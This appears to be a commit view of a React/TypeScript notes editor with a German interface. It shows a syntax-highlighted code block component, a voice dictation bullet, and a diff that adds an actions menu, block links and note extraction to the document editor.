import { DocumentBlock } from '../../lib/types';
export interface CodeBlockItemProps {
block: DocumentBlock;
isReadOnly: boolean;
onChangeContent: (content: string) => void;
onChangeLang: (lang: string) => void;
onFocus?: () => void;
onBlur?: () => void;
inputRef?: (el: HTMLTextAreaElement | null) => void;
}
export const CODE_LANGUAGES = [
{ id: 'javascript', label: 'JavaScript' },
{ id: 'typescript', label: 'TypeScript' },
{ id: 'python', label: 'Python' },
{ id: 'go', label: 'Go' },
{ id: 'bash', label: 'Bash / Shell' },
{ id: 'json', label: 'JSON' },
{ id: 'html', label: 'HTML / XML', alias: 'markup' },
{ id: 'css', label: 'CSS' },
{ id: 'sql', label: 'SQL' },
{ id: 'rust', label: 'Rust' },
{ id: 'cpp', label: 'C++' },
{ id: 'c', label: 'C' },
{ id: 'java', label: 'Java' },
{ id: 'php', label: 'PHP' },
{ id: 'yaml', label: 'YAML' },
{ id: 'docker', label: 'Dockerfile' },
{ id: 'markdown', label: 'Markdown' },
{ id: 'text', label: 'Plain Text' },
];
export const CodeBlockItem: React.FC<CodeBlockItemProps> = ({
block,
isReadOnly,
onChangeContent,
onChangeLang,
onFocus,
onBlur,
inputRef,
}) => {
const [isEditing, setIsEditing] = useState(false);
const [copied, setCopied] = useState(false);
const localTextareaRef = useRef<HTMLTextAreaElement | null>(null);
const currentLang = block.lang || 'javascript';
// Highlighted HTML generated by Prism
const highlightedCode = useMemo(() => {
const code = block.content || '';
if (!code) return '';
const prismLang = currentLang === 'html' ? 'markup' : currentLang;
const grammar = Prism.languages[prismLang] || Prism.languages.javascript;
if (!grammar) {
return code
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;');
}
try {
return Prism.highlight(code, grammar, prismLang);
} catch {
return code
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;');
}
}, [block.content, currentLang]);
// Code lines for line numbers
const lines = useMemo(() => {
return (block.content || '').split('\n');
}, [block.content]);
const handleCopy = async (e: React.MouseEvent) => {
e.stopPropagation();
try {
await navigator.clipboard.writeText(block.content || '');
setCopied(true);
setTimeout(() => setCopied(false), 2000);
} catch {
// Fallback
}
};
const handleKeyDown = (e: React.KeyboardEvent<HTMLTextAreaElement>) => {
if (e.key === 'Escape') {
setIsEditing(false);
return;
}
// Tab key indent/outdent
if (e.key === 'Tab') {
e.preventDefault();
const textarea = e.currentTarget;
const start = textarea.selectionStart;
const end = textarea.selectionEnd;
const val = textarea.value;
if (e.shiftKey) {
if (val.substring(start - 2, start) === ' ') {
const newVal = val.substring(0, start - 2) + val.substring(start);
onChangeContent(newVal);
setTimeout(() => {
textarea.selectionStart = textarea.selectionEnd = Math.max(0, start - 2);
}, 0);
}
} else {
const newVal = val.substring(0, start) + ' ' + val.substring(end);
onChangeContent(newVal);
setTimeout(() => {
textarea.selectionStart = textarea.selectionEnd = start + 2;
}, 0);
}
}
};
const switchToEdit = () => {
if (isReadOnly) return;
setIsEditing(true);
setTimeout(() => {
localTextareaRef.current?.focus();
}, 20);
};
return (
<div className="rounded-card border border-border bg-panel overflow-hidden shadow-xs my-1 group/code">
{/* Code Block Header Toolbar */}
<div className="flex items-center justify-between px-3 py-1.5 bg-canvas border-b border-border text-xs">
{/* Left: Language Selection */}
<div className="flex items-center gap-2">
<Code className="w-3.5 h-3.5 text-accent flex-shrink-0" />
<select
value={currentLang}
disabled={isReadOnly}
onChange={(e) => onChangeLang(e.target.value)}
className="bg-transparent text-main font-mono text-[11px] font-medium border border-transparent hover:border-border focus:border-accent rounded px-1.5 py-0.5 outline-none cursor-pointer"
>
{CODE_LANGUAGES.map((lang) => (
<option key={lang.id} value={lang.id} className="bg-panel text-main">
{lang.label}
</option>
))}
</select>
</div>
{/* Right: Mode Toggle & Copy */}
<div className="flex items-center gap-1.5">
{!isReadOnly && (
<button
type="button"
onClick={() => {
if (isEditing) {
setIsEditing(false);
} else {
switchToEdit();
}
}}
className="px-2 py-0.5 rounded text-[11px] font-medium text-muted hover:text-main hover:bg-panel-elevated transition-colors flex items-center gap-1 cursor-pointer"
title={isEditing ? 'Zur farbigen Vorschau wechseln (Esc)' : 'Code bearbeiten'}
>
{isEditing ? (
<>
<Eye className="w-3 h-3 text-accent" />
<span>Vorschau</span>
</>
) : (
<>
<Edit3 className="w-3 h-3 text-muted" />
<span>Bearbeiten</span>
</>
)}
</button>
)}
<button
type="button"
onClick={handleCopy}
className={`px-2 py-0.5 rounded text-[11px] font-medium transition-colors flex items-center gap-1 cursor-pointer ${
copied
? 'text-emerald-500 bg-emerald-500/10'
: 'text-muted hover:text-main hover:bg-panel-elevated'
}`}
title="Code in Zwischenablage kopieren"
>
{copied ? (
<>
<Check className="w-3 h-3 text-emerald-500" />
<span>Kopiert!</span>
</>
) : (
<>
<Copy className="w-3 h-3 opacity-70" />
<span>Kopieren</span>
</>
)}
</button>
</div>
</div>
{/* Code Block Content */}
{isEditing && !isReadOnly ? (
<div className="relative">
<textarea
ref={(el) => {
localTextareaRef.current = el;
if (inputRef) inputRef(el);
}}
rows={Math.max(3, lines.length)}
value={block.content || ''}
onFocus={() => onFocus && onFocus()}
onBlur={() => {
if (onBlur) onBlur();
}}
onChange={(e) => onChangeContent(e.target.value)}
onKeyDown={handleKeyDown}
placeholder="// Code hier eingeben..."
className="w-full p-3 bg-panel-elevated/40 font-mono text-xs text-main leading-relaxed focus:outline-none resize-none placeholder:text-faint"
/>
<div className="px-3 py-1 bg-canvas/40 border-t border-border/50 text-[10px] text-faint flex items-center justify-between">
<span>Tab: Einrücken (2 Leerzeichen) • Shift+Tab: Ausrücken</span>
<button
type="button"
onClick={() => setIsEditing(false)}
className="hover:text-accent cursor-pointer"
>
Vorschau anzeigen (Esc)
</button>
</div>
</div>
) : (
<div
onClick={switchToEdit}
className={`relative p-3 font-mono text-xs overflow-x-auto ${
isReadOnly ? '' : 'cursor-pointer hover:bg-panel-elevated/20 transition-colors'
}`}
title={isReadOnly ? undefined : 'Klicken zum Bearbeiten'}
>
{block.content ? (
<div className="flex gap-3">
{/* Line numbers */}
<div className="select-none text-right text-faint opacity-50 font-mono text-xs leading-relaxed flex-shrink-0">
{lines.map((_, idx) => (
<div key={idx}>{idx + 1}</div>
))}
</div>
{/* Syntax highlighted code */}
<pre className="m-0 p-0 font-mono text-xs leading-relaxed whitespace-pre overflow-x-auto flex-1">
<code
dangerouslySetInnerHTML={{ __html: highlightedCode }}
className={`language-${currentLang}`}
/>
</pre>
</div>
) : (
<div className="text-faint italic py-2">
{isReadOnly ? '(Kein Code hinterlegt)' : '(Klicken, um Code einzugeben...)'}
</div>
)}
</div>
)}
</div>
);
};
@@ -0,0 +1,119 @@
import React, { useEffect, useRef, useState } from 'react';
import { Loader2, Square } from 'lucide-react';
import { useVoiceInput } from '../../lib/useVoiceInput';
import { VoiceWave } from '../../components/VoiceWave';
import { triggerHaptic } from '../../lib/api';
interface DictationBlockProps {
onDone: (text: string) => void;
onCancel: () => void;
}
function formatDuration(sec: number): string {
const m = String(Math.floor(sec / 60)).padStart(2, '0');
const s = String(sec % 60).padStart(2, '0');
return `${m}:${s}`;
}
// What an empty bullet turns into after /diktat: listening starts right away, the whole bullet is one
// button with live text growing above the wave, mm:ss timer and a translucent "Stopp" on top. A tap ends
// it; the text lands in the bullet as plain text.
export const DictationBlock: React.FC<DictationBlockProps> = ({ onDone, onCancel }) => {
const [interim, setInterim] = useState('');
const [elapsedSec, setElapsedSec] = useState(0);
const [error, setError] = useState<string | null>(null);
const doneRef = useRef(false);
const buttonRef = useRef<HTMLButtonElement>(null);
const voice = useVoiceInput({
live: true,
continuous: true,
onText: (text, final) => {
if (!final) {
setInterim(text);
return;
}
if (doneRef.current) return;
doneRef.current = true;
if (text.trim()) onDone(text.trim());
else onCancel();
},
onError: (message) => {
setError(message);
window.setTimeout(() => {
if (!doneRef.current) {
doneRef.current = true;
onCancel();
}
}, 2500);
},
});
useEffect(() => {
triggerHaptic([15, 60, 25]);
void voice.start();
buttonRef.current?.focus();
const started = Date.now();
const timer = window.setInterval(() => {
setElapsedSec(Math.floor((Date.now() - started) / 1000));
}, 500);
return () => window.clearInterval(timer);
// start once when the bullet turns into the dictation
// eslint-disable-next-line react-hooks/exhaustive-deps
}, []);
const transcribing = voice.state === 'transcribing';
const chunkBusy = voice.pendingChunks > 0 || transcribing;
return (
<button
ref={buttonRef}
type="button"
onClick={() => {
if (voice.state === 'listening') {
triggerHaptic(20);
void voice.stop();
}
}}
onKeyDown={(e) => {
if (e.key === 'Escape') {
e.preventDefault();
doneRef.current = true;
voice.cancel();
onCancel();
}
}}
disabled={transcribing || !!error}
aria-label="Diktat beenden"
className="relative w-full min-h-[56px] sm:min-h-[44px] my-1 px-4 py-2 rounded-3xl border border-accent bg-accent-dim overflow-hidden flex flex-col gap-1.5 text-left cursor-pointer disabled:cursor-default focus:outline-none"
>
{(interim || chunkBusy) && !error && (
<div className="w-full text-sm text-main whitespace-pre-wrap break-words leading-relaxed pointer-events-none">
{interim}
{chunkBusy && <span className="text-muted animate-pulse">{interim ? ' …' : '…'}</span>}
</div>
)}
<div className="relative w-full min-h-[32px] flex items-center justify-between gap-2">
{/* Live wave across the bottom bar */}
<VoiceWave getLevel={voice.level} bars={32} className="absolute inset-x-0 inset-y-0 justify-between h-auto text-accent opacity-60" />
<span className="relative z-10 px-2 py-0.5 rounded-pill bg-panel/70 text-muted text-[11px] font-mono tabular-nums backdrop-blur-sm">
{formatDuration(elapsedSec)}
</span>
{/* Floating stop label on top */}
<span className="relative z-10 flex items-center gap-1.5 px-3 py-1 rounded-pill bg-panel/70 text-main text-xs font-semibold backdrop-blur-sm">
{error ? (
<span className="text-status-err font-normal">{error}</span>
) : transcribing ? (
<>
<Loader2 className="w-3.5 h-3.5 animate-spin" /> Wird erkannt…
</>
) : (
<>
<Square className="w-3 h-3 fill-current" /> Stopp
</>
)}
</span>
</div>
</button>
);
};
+475 -170
View File
@@ -1,10 +1,13 @@
import React, { useState, useEffect, useRef, useCallback, useMemo } from 'react'; import React, { useState, useEffect, useRef, useCallback, useMemo, useSyncExternalStore } from 'react';
import { createPortal } from 'react-dom';
import { buildBlockLink } from '../../lib/wikiLink';
import { import {
Pin, Pin,
Users, Users,
Trash2, Trash2,
RotateCcw, RotateCcw,
Download, Download,
Maximize2,
FileText, FileText,
Loader2, Loader2,
ArrowLeft, ArrowLeft,
@@ -17,16 +20,29 @@ import {
Check, Check,
CloudOff, CloudOff,
AlertTriangle, AlertTriangle,
GitMerge,
Undo2,
Redo2,
MoreHorizontal,
CalendarDays,
} from 'lucide-react'; } from 'lucide-react';
import { Document, DocumentBlock, User } from '../../lib/types'; import { Document, DocumentBlock, User } from '../../lib/types';
import { api } from '../../lib/api'; import { api } from '../../lib/api';
import { DocSyncEngine, EngineState } from '../../lib/docSync/engine'; import { DocSyncEngine, EngineState } from '../../lib/docSync/engine';
import { Presence } from '../../lib/docSync/transport';
import { OutlinerTree, OutlinerTreeHandle } from './OutlinerTree'; import { OutlinerTree, OutlinerTreeHandle } from './OutlinerTree';
import { PresenceAvatars } from './PresenceAvatars';
import { extractHashtags } from '../../lib/hashtags'; import { extractHashtags } from '../../lib/hashtags';
import { moveSibling } from '../../lib/outlineList';
export type DocSaveStatus = 'saved' | 'saving' | 'unsaved' | 'error'; export type DocSaveStatus = 'saved' | 'saving' | 'unsaved' | 'error';
export interface DocHeaderStatus {
showLive: boolean;
channel: 'ws' | 'sse' | 'longpoll' | 'interval';
otherPeople: Presence[];
avatarsById: Map<string, string>;
}
export interface DocumentEditorProps { export interface DocumentEditorProps {
docId: string; docId: string;
currentUser?: User | null; currentUser?: User | null;
@@ -39,11 +55,36 @@ export interface DocumentEditorProps {
onRestoreDoc?: (docId: string) => void; onRestoreDoc?: (docId: string) => void;
onOpenShareModal: (doc: Document) => void; onOpenShareModal: (doc: Document) => void;
onSelectTag: (tag: string) => void; onSelectTag: (tag: string) => void;
onWikiLinkClick?: (pageTitle: string) => void; onWikiLinkClick?: (pageTitle: string, blockId?: string) => void;
onOpenDocBlock?: (docId: string, blockId?: string) => void; onOpenDocBlock?: (docId: string, blockId?: string) => void;
onBackMobile?: () => void; onBackMobile?: () => void;
onOpenTask?: (taskId: string) => void; onOpenTask?: (taskId: string) => void;
onSaveStatusChange?: (status: DocSaveStatus, errorMsg?: string) => void; onSaveStatusChange?: (status: DocSaveStatus, errorMsg?: string) => void;
onHeaderStatusChange?: (status: DocHeaderStatus | null) => void;
/** Opens the dialog to merge this note into another one (own notes only) */
onRequestMerge?: (doc: Document) => void;
/** A note was created from this one (extract) or removed again (undo); keeps the sidebar current */
onDocCreated?: (doc: Document) => void;
onDocRemoved?: (docId: string) => void;
/** 'journal': one day inside the journal list – no own scrolling, header or backlinks, fixed title */
variant?: 'page' | 'journal';
/** Large screens: the action buttons render into this element (the workspace tab bar) */
actionsTarget?: HTMLElement | null;
/** Distraction-free mode: reading width, menu entry to leave it */
focusMode?: boolean;
onToggleFocusMode?: () => void;
}
// Large screens (lg) put the note's actions into the workspace tab bar and drop the editor header
const LARGE_QUERY = '(min-width: 1024px)';
function subscribeLarge(onChange: () => void) {
if (typeof window === 'undefined' || !window.matchMedia) return () => {};
const mq = window.matchMedia(LARGE_QUERY);
mq.addEventListener('change', onChange);
return () => mq.removeEventListener('change', onChange);
}
function isLargeScreen() {
return typeof window !== 'undefined' && !!window.matchMedia && window.matchMedia(LARGE_QUERY).matches;
} }
import { EmojiPickerModal } from './EmojiPickerModal'; import { EmojiPickerModal } from './EmojiPickerModal';
@@ -190,7 +231,18 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
onBackMobile, onBackMobile,
onOpenTask, onOpenTask,
onSaveStatusChange, onSaveStatusChange,
onHeaderStatusChange,
onRequestMerge,
onDocCreated,
onDocRemoved,
variant = 'page',
actionsTarget,
focusMode = false,
onToggleFocusMode,
}) => { }) => {
const inJournal = variant === 'journal';
const large = useSyncExternalStore(subscribeLarge, isLargeScreen, () => false);
const desktopBar = !inJournal && large && Boolean(actionsTarget);
const [doc, setDoc] = useState<Document | null>(initialDoc || null); const [doc, setDoc] = useState<Document | null>(initialDoc || null);
const [title, setTitle] = useState<string>(initialDoc?.title || ''); const [title, setTitle] = useState<string>(initialDoc?.title || '');
const [blocks, setBlocks] = useState<DocumentBlock[]>(() => const [blocks, setBlocks] = useState<DocumentBlock[]>(() =>
@@ -200,6 +252,8 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
const [error, setError] = useState<string | null>(null); const [error, setError] = useState<string | null>(null);
const [showEmojiPicker, setShowEmojiPicker] = useState<boolean>(false); const [showEmojiPicker, setShowEmojiPicker] = useState<boolean>(false);
const [zoomedBlockId, setZoomedBlockId] = useState<string | null>(null); const [zoomedBlockId, setZoomedBlockId] = useState<string | null>(null);
const [showActionsMenu, setShowActionsMenu] = useState<boolean>(false);
const actionsMenuRef = useRef<HTMLDivElement | null>(null);
// Sync engine (operation log): stores every change locally and syncs it with the server // Sync engine (operation log): stores every change locally and syncs it with the server
const engineRef = useRef<DocSyncEngine | null>(null); const engineRef = useRef<DocSyncEngine | null>(null);
@@ -207,6 +261,9 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
const titleInputRef = useRef<HTMLTextAreaElement | HTMLInputElement | null>(null); const titleInputRef = useRef<HTMLTextAreaElement | HTMLInputElement | null>(null);
const scrollRef = useRef<HTMLDivElement | null>(null);
// The header repeats the title only once the big title has scrolled out of view
const [titleScrolledAway, setTitleScrolledAway] = useState(false);
const outlinerTreeRef = useRef<OutlinerTreeHandle | null>(null); const outlinerTreeRef = useRef<OutlinerTreeHandle | null>(null);
const docRef = useRef<Document | null>(doc); const docRef = useRef<Document | null>(doc);
docRef.current = doc; docRef.current = doc;
@@ -216,6 +273,22 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
const currentBlocksRef = useRef<DocumentBlock[]>(blocks); const currentBlocksRef = useRef<DocumentBlock[]>(blocks);
currentBlocksRef.current = blocks; currentBlocksRef.current = blocks;
useEffect(() => {
const root = scrollRef.current;
const el = titleInputRef.current;
if (inJournal || !root || !el || typeof IntersectionObserver === 'undefined') {
setTitleScrolledAway(false);
return;
}
const observer = new IntersectionObserver(
([entry]) => setTitleScrolledAway(!entry.isIntersecting),
// the sticky header covers the top of the scroll area
{ root, rootMargin: '-56px 0px 0px 0px' }
);
observer.observe(el);
return () => observer.disconnect();
}, [zoomedBlockId, doc?.id, inJournal]);
useEffect(() => { useEffect(() => {
if (!loading && (autoFocusTitle || (doc?.title === 'Neue Notiz' && (!doc?.blocks || doc?.blocks.length <= 1)))) { if (!loading && (autoFocusTitle || (doc?.title === 'Neue Notiz' && (!doc?.blocks || doc?.blocks.length <= 1)))) {
const focusTitle = () => { const focusTitle = () => {
@@ -375,14 +448,103 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
.catch(() => {}); .catch(() => {});
}, [otherPeople.length]); }, [otherPeople.length]);
// Short hint at the bottom of the editor (blocked actions, skipped undo) useEffect(() => {
onHeaderStatusChange?.({
showLive: Boolean(engineState && (engineState.shared || engineState.sessions > 1)),
channel: engineState?.channel || 'ws',
otherPeople,
avatarsById,
});
}, [
engineState?.shared,
engineState?.sessions,
engineState?.channel,
otherPeople,
avatarsById,
onHeaderStatusChange,
]);
useEffect(() => {
return () => {
onHeaderStatusChange?.(null);
};
}, [onHeaderStatusChange]);
useEffect(() => {
if (!showActionsMenu) return;
const handleMouseDown = (e: MouseEvent) => {
if (actionsMenuRef.current && !actionsMenuRef.current.contains(e.target as Node)) {
setShowActionsMenu(false);
}
};
const handleKeyDown = (e: KeyboardEvent) => {
if (e.key === 'Escape') {
setShowActionsMenu(false);
}
};
document.addEventListener('mousedown', handleMouseDown);
document.addEventListener('keydown', handleKeyDown);
return () => {
document.removeEventListener('mousedown', handleMouseDown);
document.removeEventListener('keydown', handleKeyDown);
};
}, [showActionsMenu]);
// Short hint at the bottom of the editor (blocked actions, skipped undo), optionally with one action
const [notice, setNotice] = useState<string | null>(null); const [notice, setNotice] = useState<string | null>(null);
const [noticeActions, setNoticeActions] = useState<{ label: string; run: () => void }[]>([]);
const noticeTimerRef = useRef<number | null>(null); const noticeTimerRef = useRef<number | null>(null);
const showNotice = useCallback((message: string) => { const showNotice = useCallback((message: string, actions: { label: string; run: () => void }[] = []) => {
setNotice(message); setNotice(message);
setNoticeActions(actions);
if (noticeTimerRef.current !== null) window.clearTimeout(noticeTimerRef.current); if (noticeTimerRef.current !== null) window.clearTimeout(noticeTimerRef.current);
noticeTimerRef.current = window.setTimeout(() => setNotice(null), 3500); noticeTimerRef.current = window.setTimeout(() => {
setNotice(null);
setNoticeActions([]);
}, actions.length ? 8000 : 3500);
}, []); }, []);
// Link to a single bullet: [[Titel#^id|Titel › Auszug]] into the clipboard
const handleCopyBlockLink = useCallback(
(blockId: string) => {
const block = blocks.find((b) => b.id === blockId);
const link = buildBlockLink(title || doc?.title || 'Notiz', blockId, block?.content || '');
const done = () => showNotice('Link zum Punkt kopiert – mit Strg+V in eine Notiz einfügen');
if (navigator.clipboard?.writeText) {
navigator.clipboard.writeText(link).then(done, () => showNotice(`Kopieren nicht möglich: ${link}`));
} else {
showNotice(`Kopieren nicht möglich: ${link}`);
}
},
[blocks, title, doc?.title, showNotice]
);
// A link pointed to a bullet that is gone (moved, extracted, deleted): the note opens with a hint
const blocksForTargetRef = useRef(blocks);
blocksForTargetRef.current = blocks;
useEffect(() => {
if (!initialFocusedBlockId || !doc?.id) return;
const timer = window.setTimeout(() => {
if (!blocksForTargetRef.current.some((b) => b.id === initialFocusedBlockId)) {
showNotice('Der verlinkte Punkt ist in dieser Notiz nicht mehr vorhanden');
}
}, 1500);
return () => window.clearTimeout(timer);
}, [initialFocusedBlockId, doc?.id, showNotice]);
// The last extraction, so undoing it (toast or Strg+Z) also puts the new note into the trash
const lastExtractRef = useRef<{ newDocId: string; blockId: string; link: string } | null>(null);
const finishUndoExtract = useCallback(() => {
const info = lastExtractRef.current;
if (!info) return;
const block = currentBlocksRef.current.find((b) => b.id === info.blockId);
if (block && block.content === info.link) return; // the undone step was something else
lastExtractRef.current = null;
api
.undoExtract(info.newDocId)
.then(() => onDocRemoved?.(info.newDocId))
.catch((err: any) => showNotice(err?.message || 'Ausgelagerte Notiz konnte nicht entfernt werden'));
}, [onDocRemoved, showNotice]);
useEffect(() => () => { useEffect(() => () => {
if (noticeTimerRef.current !== null) window.clearTimeout(noticeTimerRef.current); if (noticeTimerRef.current !== null) window.clearTimeout(noticeTimerRef.current);
}, []); }, []);
@@ -394,7 +556,9 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
const handleUndo = useCallback(() => { const handleUndo = useCallback(() => {
const res = engineRef.current?.undo(); const res = engineRef.current?.undo();
if (res?.message) showNotice(res.message); if (res?.message) showNotice(res.message);
}, [showNotice]); if (res?.ok) finishUndoExtract();
}, [showNotice, finishUndoExtract]);
const handleRedo = useCallback(() => { const handleRedo = useCallback(() => {
const res = engineRef.current?.redo(); const res = engineRef.current?.redo();
if (res?.message) showNotice(res.message); if (res?.message) showNotice(res.message);
@@ -420,6 +584,38 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
[] []
); );
// A bullet with its children becomes a note of its own. The server only creates the note; the branch
// is replaced here as an ordinary own edit, so it shows at once, syncs like typing and Strg+Z works.
const handleExtractBlock = useCallback(
async (blockId: string) => {
const engine = engineRef.current;
if (!engine) return;
try {
await engine.syncNow(); // the server reads the branch as typed so far
const { document: created, link } = await api.extractBranch(docId, blockId, engine.clientId);
// The focused field keeps its own text while typing; leave it so it shows the link
(document.activeElement as HTMLElement | null)?.blur?.();
const prev = currentBlocksRef.current;
const i = prev.findIndex((b) => b.id === blockId);
if (i >= 0) {
const level = prev[i].level || 0;
let end = i + 1;
while (end < prev.length && (prev[end].level || 0) > level) end++;
applyLocalBlocks([...prev.slice(0, i), { ...prev[i], content: link }, ...prev.slice(end)]);
}
lastExtractRef.current = { newDocId: created.id, blockId, link };
onDocCreated?.(created);
showNotice(`In eigene Notiz „${created.title}“ umgewandelt`, [
{ label: 'Öffnen', run: () => onOpenDocBlock?.(created.id) },
{ label: 'Rückgängig', run: () => handleUndo() },
]);
} catch (err: any) {
showNotice(err?.message || 'Umwandeln fehlgeschlagen');
}
},
[docId, onOpenDocBlock, onDocCreated, showNotice, handleUndo, applyLocalBlocks]
);
// Keep parent sidebar metadata in sync when blocks/tags change // Keep parent sidebar metadata in sync when blocks/tags change
useEffect(() => { useEffect(() => {
if (!docRef.current) return; if (!docRef.current) return;
@@ -509,6 +705,16 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
[docId, canEdit, applyLocalBlocks] [docId, canEdit, applyLocalBlocks]
); );
// Swaps a bullet (with its children) with the previous or next one on the same level, within the same
// parent. By id, not by index, so it also works while zoomed into a branch (the tree then sees a slice).
const handleMoveSibling = useCallback(
(blockId: string, direction: -1 | 1) => {
if (!canEdit) return;
applyLocalBlocks((prev) => moveSibling(prev, blockId, direction));
},
[canEdit, applyLocalBlocks]
);
const handleMoveBlock = useCallback( const handleMoveBlock = useCallback(
(blockId: string, targetIndex: number, newLevel?: number) => { (blockId: string, targetIndex: number, newLevel?: number) => {
if (!canEdit) return; if (!canEdit) return;
@@ -605,6 +811,8 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
lines.push(`${indent}- \`\`\`${b.lang || ''}\n${b.content}\n${indent} \`\`\``); lines.push(`${indent}- \`\`\`${b.lang || ''}\n${b.content}\n${indent} \`\`\``);
} else if (b.type === 'divider') { } else if (b.type === 'divider') {
lines.push(`${indent}- ---`); lines.push(`${indent}- ---`);
} else if (b.type === 'numbered') {
lines.push(`${indent}1. ${b.content}`);
} else { } else {
lines.push(`${indent}- ${b.content}`); lines.push(`${indent}- ${b.content}`);
} }
@@ -644,16 +852,216 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
); );
} }
const breadcrumbNav = (
<nav
aria-label="Breadcrumb Navigation"
className="flex items-center flex-wrap gap-1 text-xs text-muted"
>
<button
type="button"
onClick={() => setZoomedBlockId(null)}
className="hover:text-accent inline-flex items-center gap-1 font-medium transition-colors cursor-pointer"
title="Zurück zum Hauptdokument"
>
<Home className="w-3.5 h-3.5 text-accent shrink-0" />
<span className="truncate max-w-[130px]">
{title || doc?.title || 'Dokument'}
</span>
</button>
{breadcrumbs.slice(1).map((crumb, idx) => {
const isCurrent = idx === breadcrumbs.length - 2;
return (
<React.Fragment key={crumb.id || idx}>
<ChevronRight className="w-3 h-3 text-faint shrink-0" />
{isCurrent ? (
<span
className="font-bold text-accent truncate max-w-[160px]"
title={crumb.title}
>
{crumb.title || 'Punkt'}
</span>
) : (
<button
type="button"
onClick={() => setZoomedBlockId(crumb.id)}
className="hover:text-main truncate max-w-[120px] transition-colors cursor-pointer"
title={`Zoom zu "${crumb.title}"`}
>
{crumb.title || 'Punkt'}
</button>
)}
</React.Fragment>
);
})}
</nav>
);
// Undo/redo, share and the menu; on large screens they sit in the workspace tab bar instead
const actionsBlock = (
<div className="flex shrink-0 items-center gap-1.5">
{!inTrash && (
<>
<button
type="button"
onClick={handleUndo}
disabled={!canEdit || !engineState?.canUndo}
className="btn-icon h-11 w-11 sm:h-7 sm:w-7 disabled:opacity-40 disabled:cursor-not-allowed"
title="Rückgängig (Strg+Z)"
aria-label="Rückgängig (Strg+Z)"
>
<Undo2 className="w-3.5 h-3.5" />
</button>
<button
type="button"
onClick={handleRedo}
disabled={!canEdit || !engineState?.canRedo}
className="btn-icon h-11 w-11 sm:h-7 sm:w-7 disabled:opacity-40 disabled:cursor-not-allowed"
title="Wiederholen (Strg+Y)"
aria-label="Wiederholen (Strg+Y)"
>
<Redo2 className="w-3.5 h-3.5" />
</button>
</>
)}
{doc && !inTrash && (
<button
type="button"
onClick={() => onOpenShareModal(doc)}
className="btn-icon h-11 w-11 sm:h-7 sm:w-7"
title="Notiz teilen und Berechtigungen"
aria-label="Notiz teilen und Berechtigungen"
>
<Users className="w-3.5 h-3.5" />
</button>
)}
<div className="relative" ref={actionsMenuRef}>
<button
type="button"
onClick={() => setShowActionsMenu((prev) => !prev)}
aria-expanded={showActionsMenu}
aria-haspopup="menu"
aria-label="Weitere Aktionen"
title="Weitere Aktionen"
className="btn-icon h-11 w-11 sm:h-7 sm:w-7"
>
<MoreHorizontal className="w-3.5 h-3.5" />
</button>
{showActionsMenu && (
<div
role="menu"
className="absolute right-0 top-full mt-1.5 w-60 rounded-card bg-panel border border-border shadow-lg p-1 z-30 text-xs origin-top-right animate-in fade-in zoom-in-95 slide-in-from-top-1 duration-150"
>
{!inTrash && (
<button
type="button"
role="menuitem"
onClick={() => {
setShowActionsMenu(false);
void handleTogglePin();
}}
className="w-full min-h-[44px] sm:min-h-0 px-2.5 py-2 sm:py-1.5 rounded-btn hover:bg-panel-elevated text-left text-main font-medium flex items-center gap-2 transition-colors cursor-pointer"
>
<Pin
className={`w-3.5 h-3.5 shrink-0 ${
doc?.isPinned ? 'text-status-warn' : 'text-accent'
}`}
/>
<span>{doc?.isPinned ? 'Anheftung lösen' : 'Notiz anheften'}</span>
</button>
)}
{onRequestMerge && doc?.isOwner && !inTrash && (
<button
type="button"
role="menuitem"
onClick={() => {
setShowActionsMenu(false);
onRequestMerge(doc);
}}
className="w-full min-h-[44px] sm:min-h-0 px-2.5 py-2 sm:py-1.5 rounded-btn hover:bg-panel-elevated text-left text-main font-medium flex items-center gap-2 transition-colors cursor-pointer"
>
<GitMerge className="w-3.5 h-3.5 text-accent shrink-0" />
<span>Mit anderer Notiz zusammenführen…</span>
</button>
)}
{onToggleFocusMode && (
<button
type="button"
role="menuitem"
onClick={() => {
setShowActionsMenu(false);
onToggleFocusMode();
}}
className="w-full min-h-[44px] sm:min-h-0 px-2.5 py-2 sm:py-1.5 rounded-btn hover:bg-panel-elevated text-left text-main font-medium flex items-center gap-2 transition-colors cursor-pointer"
>
{focusMode ? (
<Minimize2 className="w-3.5 h-3.5 text-accent shrink-0" />
) : (
<Maximize2 className="w-3.5 h-3.5 text-accent shrink-0" />
)}
<span className="flex-1">{focusMode ? 'Fokus-Modus beenden' : 'Fokus-Modus starten'}</span>
<kbd className="hidden sm:inline text-[10px] text-faint font-mono">Strg+⇧+F</kbd>
</button>
)}
<button
type="button"
role="menuitem"
onClick={() => {
setShowActionsMenu(false);
handleExportMarkdown();
}}
className="w-full min-h-[44px] sm:min-h-0 px-2.5 py-2 sm:py-1.5 rounded-btn hover:bg-panel-elevated text-left text-main font-medium flex items-center gap-2 transition-colors cursor-pointer"
>
<Download className="w-3.5 h-3.5 text-accent shrink-0" />
<span>Als Markdown (.md) exportieren</span>
</button>
{canEdit && (doc?.isOwner || doc?.permission === 'owner') && (
<>
<div className="my-1 border-t border-border" />
<button
type="button"
role="menuitem"
onClick={() => {
setShowActionsMenu(false);
onDeleteDoc(docId);
}}
className="w-full min-h-[44px] sm:min-h-0 px-2.5 py-2 sm:py-1.5 rounded-btn hover:bg-status-err/10 text-left text-status-err font-medium flex items-center gap-2 transition-colors cursor-pointer"
>
<Trash2 className="w-3.5 h-3.5 text-status-err shrink-0" />
<span>Notiz löschen</span>
</button>
</>
)}
</div>
)}
</div>
</div>
);
return ( return (
<div className="flex-1 flex flex-col h-full min-h-0 bg-canvas overflow-y-auto" data-sync-channel={engineState?.channel}> <div
{/* Top Document Action Bar */} ref={scrollRef}
